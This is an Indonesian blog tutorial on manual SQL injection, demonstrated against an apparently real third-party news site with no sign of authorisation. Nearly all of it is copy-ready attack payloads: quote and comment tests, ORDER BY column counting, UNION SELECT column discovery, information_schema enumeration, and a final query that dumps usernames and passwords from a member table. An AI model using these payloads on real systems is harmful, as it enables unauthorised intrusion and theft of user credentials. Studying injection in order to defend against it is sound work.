Tutorial Exploitasi bug SQL Injection

Tutorial Exploitasi bug SQL Injection

Pada pembahasan kali ini saya akan sharing tutorial exploitasi bug SQL injection secara manual di website, ini tutorial SQL injection yang dasar banget bagi kalian yang sedang mempelajari cara meng exploitasi bug ini. Kalian juga bisa menggunakan tools untuk melakukan serangan SQL injection dengan mudah, tapi dengan melakukan injeksi secara manual itu lebih akurat.

Baca juga: tutorial sql injection menggunakan tools sqlmap

 

Mengonfirmasi Kerentanan

Cara untuk melihat website tersebut vuln atau tidak nya bisa dengan memasukkan tanda petik atas ( ‘ ) tepat dibelakang parameter.

Lalu kalian tekan enter dan keterangan yang kita dapat yaitu text nya yang hilang saat memasukkan tanda petik atas ( ‘ )

Ada beberapa cara untuk mengetahui web yang rentan terkena serangan SQL injection, diantaranya:

  • Muncul error
  • Text/gambar yang hilang
  • Loading yang lama
  • Terkena redirect
  • Bagian web ada yang hilang/blank

 

Melakukan Balancing

Selanjutnya tahap balancing, untuk memastikan lagi apakah benar web ini bisa di exploitasi lebih lanjut, dengan cara memasukkan balancing tepat dibelakang parameter.

Note: Ada beberapa kasus dimana saat memasukkan balancing web tetap error dan tidak kembali seperti semula. Penggunaan balancing tidak bisa sembarangan, maka dari itu perlu untuk mencoba beberapa balancing agar bug ini bisa di exploitasi dengan lanjut.

List beberapa balancing yang sering digunakan:

--
-- -
--+
--+-
#
;%00
`

Note: jika sudah memasukkan balancing tapi web tidak kembali normal, coba kalian hapus tanda petik atas ( ‘ ), karena ada beberapa kasus dimana saat memasukkan balancing tanpa adanya tanda petik atas ( ‘ ) web bisa kembali normal.

Sebagai contoh pada web yang saya eksekusi ini, saat memasukkan balancing web masih tetap error, tapi jika saya menghapus tanda kutip atas ( ‘ ) web kembali normal.menggunakan ( ‘ )

tidak menggunakan ( ‘ )

Kalian bisa lihat setelah memasukkan balancing, web kembali seperti semula/tidak error. Nah ini artinya web tersebut rentan terhadap serangan ini.

 

Mencari Jumlah Kolom

Setelah melakukan balancing, langkah selanjutnya adalah menentukan jumlah kolom dari table di database yang digunakan oleh web tersebut. Cara nya adalah dengan menggunakan “order by (angka)– -” dan menemukan di angka berapakah terdapat error. Disini saya memasukkan angka 1,2,3 dan web masih terlihat normal.

Lakukan terus menerus langkah ini hingga mendapatkan dimana angka yang error.

  • order by 1– – Normal
  • order by 2– – Normal
  • order by 3– – Normal
  • order by 4– – Normal
  • order by 5– – Normal
  • order by 6– – Normal
  • order by 7– – Error

Setelah melakukan langkah-langkah tadi, akhirnya saya mendapatkan bahwa angka error terdapat pada angka 7.

nah jika kolom ke 7 error, artinya jumlah kolom nya hanya ada 6, singkatnya jumlah kolom yang aktif hanya 6 kolom saja sehingga 6 kolom tersebut lah yang akan kita eksekusi selanjutnya.

 

Mencari Angka Ajaib

Ketika sudah mendapatkan angka yang error, selanjutnya kita mencari angka ajaib nya.

Ganti perintah “order by” menjadi perintah “union select (jumlah angka yang aktif)”

contoh: union select 1,2,3,4,5,6– –

Angka ajaibnya mana? kenapa tidak kelihatan? jangan khawatir, kalian tinggal masukkan (-) atau (.) diawal parameter, jadinya akan seperti ini:

  • news.php?id=-140 union select 1,2,3,4,5,6– –
  • news.php?id=.140 union select 1,2,3,4,5,6– –

Ada beberapa kasus dimana kalian tidak perlu memasukkan tanda (-) dan (.) pada parameter, angka ajaib nya akan muncul, tapi jika tetap tidak muncul, kalian bisa memakai tanda (-) dan (.)

Sebagai contoh disini saya memakai tanda (-) diawal parameter.

Kalian bisa liat sendiri banyak angka yang muncul, nah angka 2,3,dan 5 ini lah yang dinamakan dengan angka ajaib.

 

Melihat Nama User, Versi, dan Nama Database

Ketika sudah mengetahui dimana letak angka ajaib nya, kita bisa memunculkan nama user, versi, dan nama database nya melalui angka ajaib tadi.

Pada step sebelumnya kita mendapatkan angka 2,3,dan 5. Disini saya akan menggunakan angka 2,3,dan 5 ini untuk menampilkan nama user, versi, dan nama database website. Sebagai contoh saya akan memasukkan perintah user() di angka 2 untuk menampilkan nama user, database() diangka 3 untuk menampilkan nama database, dan @@version diangka 5 untuk menampilkan versi database.

Selain mengecek nama user, versi, dan nama database, kita juga bisa menggunakan fungsi berikut ini untuk mengecek hal lainnya:

  • @@version — menampilkan Versi database
  • @@hostname — menampilkan Hostname
  • @@datadir — menampilkan Direktori data
  • @@basedir — menampilkan Direktori base
  • @@tmpdir — menampilkan Direktori temp
  • user() — menampilkan Nama User database
  • database() — menampilkan Nama Database
  • schema() — menampilkan Database yang dipakai
  • session_user() — menampilkan Session User

 

Memunculkan Nama Table

Langkah selanjutnya yaitu memunculkan nama table, kali ini saya akan menggunakan angka 3 untuk memunculkan nama tabel. Kalian bisa menggunakan cara seperti ini :

news.php?id=-140 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database()– –

Baca juga: daftar kumpulan dios sql injection

 Bisa kalian liat pada angka 3 tadi sekarang memunculkan nama tabel.

 

Memunculkan Nama Kolom

Setelah mengetahui nama table, langkah selanjutnya adalah memunculkan daftar kolom. Kali ini saya akan melihat nama kolom dari tabel member.

news.php?id=-140 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name=”member”– –

Nama kolom pada tabel member: id, username, password, classification, menOptions, ip

 

Memunculkan Data

Ini adalah step terakhir dari exploitasi bug SQL injection. Kali ini kita akan memunculkan data dari kolom  yang telah kita dapat diatas. Nah untuk memunculkan data, disini saya hanya akan memunculkan data dari kolom id, username, dan password saja.

contoh:

news.php?id=-140 union select 1,2,group_concat(id,0x3a,username,0x3a,password),4,5,6 from member– –

Note:0x3a merupakan bentuk hex dari (:)

Bisa kalian lihat data yang tampil diatas, data tersebut merupakan hasil dari dump kolom id, username, dan password yang terdapat pada tabel member. Mungkin itu saja tutorial exploitasi bug SQL injection secara manual dari saya, selamat belajar 😀